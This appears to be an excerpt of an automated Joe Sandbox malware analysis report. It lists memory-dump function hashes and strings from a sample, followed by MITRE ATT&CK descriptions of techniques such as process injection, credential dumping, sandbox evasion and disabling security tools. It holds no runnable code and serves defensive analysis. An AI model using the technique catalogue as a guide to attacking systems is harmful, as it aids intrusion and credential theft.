Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID: 'IVE
API String ID: 0-2310910233
Opcode ID: 8b5177e2c4380a046f22d2272ecc5325473c8ba048e3c47e6c5333e88f402151
Instruction ID: 4ca15375e7c0cacaa07d81df665a8403677f9c74cbcc16ebc208a2ec6438e689
Opcode Fuzzy Hash: 8b5177e2c4380a046f22d2272ecc5325473c8ba048e3c47e6c5333e88f402151
Instruction Fuzzy Hash: CA71C5B4E15609CFCB08CFAAC5815DEFBF2BF89310F24946AD416B7214D7349E428B65

Function 07AD952E Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

PTa5, xrefs: 07AD96EA

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID: PTa5
API String ID: 0-2880030743
Opcode ID: 1c7008b5712eaebdd16b6367addf737568d5203c8cfd7d016c5a42dc0fbbe71f
Instruction ID: b8f549ac0639e6f5d2bea4e5028a256bc4fd6f61607d4dfc7675d8b93d54784c
Opcode Fuzzy Hash: 1c7008b5712eaebdd16b6367addf737568d5203c8cfd7d016c5a42dc0fbbe71f
Instruction Fuzzy Hash: CA51B8B1E056188FDB18CF6B8D4569EFBF3AFC9300F14C1AAD44CAA225EB341A458F51

Function 06090007 Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

PTa5, xrefs: 060901BA

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID: PTa5
API String ID: 0-2880030743
Opcode ID: e0bc358e0bfaa0da4702f543660c0f06e4130d61d9f79bb27a118e51135b73d7
Instruction ID: 7897d5e21d9953f9d42fdf169c0439098f55c306602d8e1be648c279c43a6ddd
Opcode Fuzzy Hash: e0bc358e0bfaa0da4702f543660c0f06e4130d61d9f79bb27a118e51135b73d7
Instruction Fuzzy Hash: 5E519871E057588FDB59CF6BCD4468AFBF3AFC9200F14C1EA8548AA265EB340A85CF51

Function 06090040 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

PTa5, xrefs: 060901BA

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID: PTa5
API String ID: 0-2880030743
Opcode ID: 0e833d5b140d72fa86b9a485306e30a3759544c54d46020bb26e25b6108a138e
Instruction ID: e7294120be95e9069a84dd833510c4ff6d1b27f3c63cb61f2bbe07e3be924b43
Opcode Fuzzy Hash: 0e833d5b140d72fa86b9a485306e30a3759544c54d46020bb26e25b6108a138e
Instruction Fuzzy Hash: 37514571E156188BDB58CF6B8D4469EFBF3BFC8300F14C1BA890DA6224EB741A858F51

Function 06097160 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

%Mh^, xrefs: 060971D7

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID: %Mh^
API String ID: 0-4011656159
Opcode ID: 186873609d2abce4d9ccb08c65ce93c6efc7a72f7a5b72cd6e0a23dd354ce431
Instruction ID: 4bf14921fc4b639b2d4e8e31d00d190c6c416e7ddd9f3b464321a6aa296100c0
Opcode Fuzzy Hash: 186873609d2abce4d9ccb08c65ce93c6efc7a72f7a5b72cd6e0a23dd354ce431
Instruction Fuzzy Hash: 8051E475E10619CFDB58CF69D990B9EBBF2BF89310F1080A6D509A7364DB309A81DF60

Function 07AD34F1 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

O/S\, xrefs: 07AD35C4

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID: O/S\
API String ID: 0-577340898
Opcode ID: 3a5deac98e35aa10bead27382228a865053bdc41b4a990b41647903fe470189a
Instruction ID: 9ba68dfb302a4ad228d7b07eb551209aedff5eeaa25ef06d09d4fe79c2898814
Opcode Fuzzy Hash: 3a5deac98e35aa10bead27382228a865053bdc41b4a990b41647903fe470189a
Instruction Fuzzy Hash: 0F31D9B1E106189BEB18CFABD84179EFAF7AFC8300F54C0BAD519A6264DB345A418F51

Function 0609FAA8 Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 651a09f3489c72a3a5db49ccaf154d59ecf14a960b225391b68af7528e90c092
Instruction ID: 97b3139ba4077db85968ac1357a9b8236f7f8783e0283e40edbe950ba9c2fa92
Opcode Fuzzy Hash: 651a09f3489c72a3a5db49ccaf154d59ecf14a960b225391b68af7528e90c092
Instruction Fuzzy Hash: 16D19C70B816068FDBA9DB75C460BAEBBF7AF89304F548469C106DB294DF34D902CB61

Function 0BAA53E0 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2856272275.000000000BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_baa0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f532c8fa646f4bcf78aa3738fff76aeb8fc7ccfdc287d0379e1099e6b2e299f
Instruction ID: 0ee20e053e3103522b4f57fd3c61fc48cc8f873c024cea086765add45ed20b4d
Opcode Fuzzy Hash: 7f532c8fa646f4bcf78aa3738fff76aeb8fc7ccfdc287d0379e1099e6b2e299f
Instruction Fuzzy Hash: EDD10631C2065ACECB10EF65D990A99FBB5EF95300F10CB9AE14937224EB746AC9CF51

Function 0254D40C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2826866054.0000000002540000.00000040.00000800.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2540000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b40442b3d44d1c90131f2837908624fbb3f2cd725bdd9eae0ed8409d41cd868
Instruction ID: 6fe67b6c353efa2439f72120d479b1b9b888dfd956583fadb96269a5fd973e06
Opcode Fuzzy Hash: 0b40442b3d44d1c90131f2837908624fbb3f2cd725bdd9eae0ed8409d41cd868
Instruction Fuzzy Hash: D9A16B32E002098FCF15DFA9C8445AEBBB2FF85308B15856AE906AB221DF71E915CF54

Function 0BAA53F0 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2856272275.000000000BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_baa0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c86c1d916514c28d61653c626c6c1ebbec58e810c91521876d9ddcab8d496ed7
Instruction ID: d42b7d545fa4365e4db0d5836794ef0897cd0966131fd088ef8ecc9c3e1b56e8
Opcode Fuzzy Hash: c86c1d916514c28d61653c626c6c1ebbec58e810c91521876d9ddcab8d496ed7
Instruction Fuzzy Hash: 32D10631D2065ACACB10EF65D990A99FBB5EF95300F10C79AE10937224EB706AC9CF91

Function 05FC981A Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846345207.0000000005FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fc0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b613baed9c79196e39f4f3d9f02910470398f11697e782d6a89ddba784be801
Instruction ID: 0abae748b6b31ea1a66fbd93cacb3aafe9b544b8474f18227ba9a21e8713a7d7
Opcode Fuzzy Hash: 5b613baed9c79196e39f4f3d9f02910470398f11697e782d6a89ddba784be801
Instruction Fuzzy Hash: B191DA31E14216CBC704EBB8DB955AEBFBAEF85300F85457AD401E7298DE78AC05C751

Function 05FC9828 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846345207.0000000005FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fc0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dba099b8ef33713dfd13111090bda3eca06dd042b70799b955850b9f1ed2c589
Instruction ID: 90ab8d41435bbec80240a05657dc76f52af8409e9c3f9de33d9234968fbb27b7
Opcode Fuzzy Hash: dba099b8ef33713dfd13111090bda3eca06dd042b70799b955850b9f1ed2c589
Instruction Fuzzy Hash: 9C91C871E24216CBCB04EBB8DB955AEBEBAEB84300F85457AD401E7298CF78AC05C751

Function 07AD71B8 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f09e1cf21c7888458be628a9b409bbce9582ca1348ff9c7848e50aaa82685684
Instruction ID: 8d53d9abd9f74edabd0d1d41b04da82b0f387a2827a2effce24e3afa64cf9fd3
Opcode Fuzzy Hash: f09e1cf21c7888458be628a9b409bbce9582ca1348ff9c7848e50aaa82685684
Instruction Fuzzy Hash: 7881B0B4A152598FCB48CFA9C5849AEFBF1FF89310F149559E425AB320E334AE42CF50

Function 07AD71A8 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c27c18c36d0653c34a52d9fe2be5aec0088ed70ebb84751fa10d7b50a9bac6f4
Instruction ID: 11af2ae8b3f31f08a053fb1a3304cfa87f15422decbd1cc596864d358cd4d561
Opcode Fuzzy Hash: c27c18c36d0653c34a52d9fe2be5aec0088ed70ebb84751fa10d7b50a9bac6f4
Instruction Fuzzy Hash: 6371C2B4A142598FCB48CFA9C58599EFBF1FF89310F148569E425AB320E334AE42CF50

Function 07B3F440 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851788691.0000000007B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b30000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3ea40e828295ef6b582ef6479a7083c8ce383729f1048bd3959718437eabf86
Instruction ID: 59c806c42a5242b36eb674660104db51700e9d2e96bda520ed086932c5e67412
Opcode Fuzzy Hash: e3ea40e828295ef6b582ef6479a7083c8ce383729f1048bd3959718437eabf86
Instruction Fuzzy Hash: 56510975F212028BD704BFBDD685A7FB6AAEBC4210F55442AD449D73B8DE38DC488352

Function 07AD7D20 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7e2cffcf3310347cf442c625d83f010b07a37965ab8c7f037e3f2130ea28baa
Instruction ID: ab16ca56af2b2a24acb2b4f9336fe03573ecaf006bccec68c57d2187704d2f40
Opcode Fuzzy Hash: c7e2cffcf3310347cf442c625d83f010b07a37965ab8c7f037e3f2130ea28baa
Instruction Fuzzy Hash: 1971E5B4D1520ADFCB08CF99C5809AEFBB2FF49350F14855AD826A7314D7309A82CF95

Function 07AD7D10 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fe91f0dd514103f2806d7231fbe0bf88d3a615d9b5934f121d5081e3d8f5cbf
Instruction ID: f289a24acba81bb8f1d9273ea9712976740e5554bc7a2b86277e18be1d3518ea
Opcode Fuzzy Hash: 1fe91f0dd514103f2806d7231fbe0bf88d3a615d9b5934f121d5081e3d8f5cbf
Instruction Fuzzy Hash: 0361E5B4D1520ADFCB08CFA9C4819AEFBB2FF49310F148556D826A7314D730AA82CF95

Function 07ADBFE0 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 701c9072b13badbf1d18a101403b89f4c4b21d7d4f632fc7cae872b477a02060
Instruction ID: 98b5fefa170c9f11163f2c94f6d7fb19fd71b629bffde3d15673758dd4397707
Opcode Fuzzy Hash: 701c9072b13badbf1d18a101403b89f4c4b21d7d4f632fc7cae872b477a02060
Instruction Fuzzy Hash: 0C51D674E10218DFDB54CFA9D941B9EBBB2BF89310F1080AAD519A7364DB309E85CF61

Function 07AD8808 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bf1eb6b2e5d1266bc8179ca1f8b0b44e3fce7d706cd4c615545683a9391a2e0
Instruction ID: 9cc49bab152aa738a630418dae34ee2db34767b2bf18f36d904b9abd22b1021f
Opcode Fuzzy Hash: 2bf1eb6b2e5d1266bc8179ca1f8b0b44e3fce7d706cd4c615545683a9391a2e0
Instruction Fuzzy Hash: 5C5108B0E1920ADFCB44CFA5C5815AEFBF2EF89340F24D56AD416B7214D3349A41CB95

Function 060929F0 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f2fb0cf3c1e54203e00b89914614aeb87447b72f6844aa34588cf4b1d49a52
Instruction ID: 4ebd93bc6950e5771780bb45c57b40ef082a7910880b10c39b30f524bcc0760f
Opcode Fuzzy Hash: d0f2fb0cf3c1e54203e00b89914614aeb87447b72f6844aa34588cf4b1d49a52
Instruction Fuzzy Hash: 6851D675E502189FDB54CF69C981B9EBBF2BF88310F10C0AAD509A7354DB309A85DF61

Function 07AD87F8 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cdb66584668ccc2cbd2e89fece182caa0ec8bec64277e6bb61fbd40460ef716
Instruction ID: ff8500cd93bf018f9af4871320c92908bcf3ecae4ae6af2e455b7b0cf7ea8d40
Opcode Fuzzy Hash: 9cdb66584668ccc2cbd2e89fece182caa0ec8bec64277e6bb61fbd40460ef716
Instruction Fuzzy Hash: E8512AB0E1960ACFCB08CFA5C5815AEFBF2EF89340F24D56AD526B7254D3349A41CB91

Function 060929E0 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d55126ea833dd8cb6e6bdfa9dc2f127d5a615aeb666e85f25b555cf10cdc2da
Instruction ID: 3f1a7915189ee6a2ebf3088c7127af8c33005d7e42f9f1766c6545da35367d81
Opcode Fuzzy Hash: 5d55126ea833dd8cb6e6bdfa9dc2f127d5a615aeb666e85f25b555cf10cdc2da
Instruction Fuzzy Hash: 21510970E102189FDB58CF69C941B9EBBF2BF89300F14C0AAD509A7365DB309A85DF61

Function 07AD8360 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f764b964ad64cbb2d8c4967fbd2e87364d4f3389a5a1219ddd5b3f90f51874f6
Instruction ID: 6188feb6ce67ddb5158c142ca950b532f41971d4dd4b86faeeb343f5f9f9d1fb
Opcode Fuzzy Hash: f764b964ad64cbb2d8c4967fbd2e87364d4f3389a5a1219ddd5b3f90f51874f6
Instruction Fuzzy Hash: 3B410AB0D1460A9FCB08DFAAC5855AEFBF2FF89300F14D06AD41AA7214D7389A41CF94

Function 07AD8370 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3416e2a9b3ae8bf78e091438bc7ec9ffc96381f00f0afbe00f3257a6d7ce9154
Instruction ID: 23c0f2602543bf3ae4cc7d874f69b89061d40dd4f310ea5a6ec48b6db4b81055
Opcode Fuzzy Hash: 3416e2a9b3ae8bf78e091438bc7ec9ffc96381f00f0afbe00f3257a6d7ce9154
Instruction Fuzzy Hash: 4641E9F0D1460A9FCB48DF9AC5855AEFBF2EF89300F14D469D42AA7214D7389A41CF94

Function 060982E1 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d82e72059fc2a2e2fba0ff04aa69cb217fb03e7473c21ae5f7e1c5e7c2fac51a
Instruction ID: 516c9f61653d9af3a3ba8a8e8a0523180977f92255017b76133ac68b6a991210
Opcode Fuzzy Hash: d82e72059fc2a2e2fba0ff04aa69cb217fb03e7473c21ae5f7e1c5e7c2fac51a
Instruction Fuzzy Hash: A521D671E006198BEB58CF6BC9402DEFBF7AFC9310F14C07AC548AB254DA744A828F91

Function 07ADD3E0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d98f5d2463ce7a3d68e542aa159f52c1a249e7f089d56673db4ba062e5773661
Instruction ID: cdb99c22fd13ed1fdc7a09d6f2f77a69ecb3654189d633917c954f41cb8ab27e
Opcode Fuzzy Hash: d98f5d2463ce7a3d68e542aa159f52c1a249e7f089d56673db4ba062e5773661
Instruction Fuzzy Hash: CD111AB1E116198BDB58CFAAD9416EEFBF7EFC8210F14C07AD418A7214DB305A028B51

Function 06093DF0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 843bd5630d7c02abd1904d4de65c44c4e7fc5cc40fc04833917381ae5456ee5a
Instruction ID: 268e1fa216ed660b54903355d61713935c456cb33bc35efeeca9e23734f34f80
Opcode Fuzzy Hash: 843bd5630d7c02abd1904d4de65c44c4e7fc5cc40fc04833917381ae5456ee5a
Instruction Fuzzy Hash: 7E112C71E116199BDB58CFAAD8406DEFBF7EFC8210F14C03AD508A7254EB704A428F91

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

